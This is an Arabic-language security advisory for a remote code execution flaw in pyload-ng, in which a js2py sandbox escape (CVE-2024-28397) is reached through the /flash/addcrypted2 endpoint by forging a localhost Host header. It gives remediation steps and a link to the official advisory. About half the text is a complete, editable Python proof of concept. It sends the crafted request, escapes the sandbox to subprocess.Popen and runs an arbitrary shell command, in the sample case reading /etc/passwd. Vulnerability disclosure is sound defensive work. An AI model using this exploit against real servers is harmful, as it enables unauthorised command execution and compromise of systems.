
Pyload RCE مع الهروب من بيئة js2py المعزولة
ثغرة تنفيذ الأوامر عن بُعد (RCE) في Pyload عبر الهروب من بيئة js2py المعزولة
أي نسخة من pyload-ng تعمل على بايثون 3.11 أو أقل تكون عرضة لثغرة تنفيذ الأوامر عن بُعد (RCE). يمكن للمهاجم إرسال طلب يحتوي على أي أمر شل وسيقوم الخادم المستهدف بتنفيذه فورًا.
قم بترقية pyload-ng إلى أحدث إصدار، أو شغّل pyload باستخدام بايثون 3.12 أو أحدث.
تحتوي js2py على ثغرة هروب من بيئة العزل (Sandbox Escape) مُسجَّلة باسم CVE-2024-28397، وهي مُستخدَمة من قِبل نقطة نهاية الـ API المسماة /flash/addcrypted2 في pyload-ng. على الرغم من أن هذه النقطة صُمِّمت لقبول اتصالات localhost فقط، يمكننا تجاوز هذا القيد باستخدام ترويسة HTTP (HTTP Header)، وبالتالي الوصول إلى هذه الواجهة وتحقيق تنفيذ الأوامر عن بُعد (RCE).
يُقدَّم إثبات المفهوم (PoC) أدناه، ويمكنك تعديل أمر الشل الذي ينفذه:
import socket
import base64
from urllib.parse import quote
host, port = input("host: "), int(input("port: "))
payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
return n11
}
"""
crypted_b64 = base64.b64encode(b"1234").decode()
data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"
request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}
{data}
""".encode().replace(b"\n", b"\r\n")
def main():
s = socket.socket()
s.connect((host, port))
s.send(request)
response = s.recv(1024).decode()
print(response)
if __name__ == "__main__":
main()
أي شخص يشغّل أحدث إصدار (<=0.5.0b3.dev85) من pyload-ng على بايثون 3.11 أو أقل. لا يستخدم pyload-ng مكتبة js2py على بايثون 3.12 أو أحدث.
https://github.com/pyload/pyload/security/advisories/GHSA-w7hq-f2pj-c53g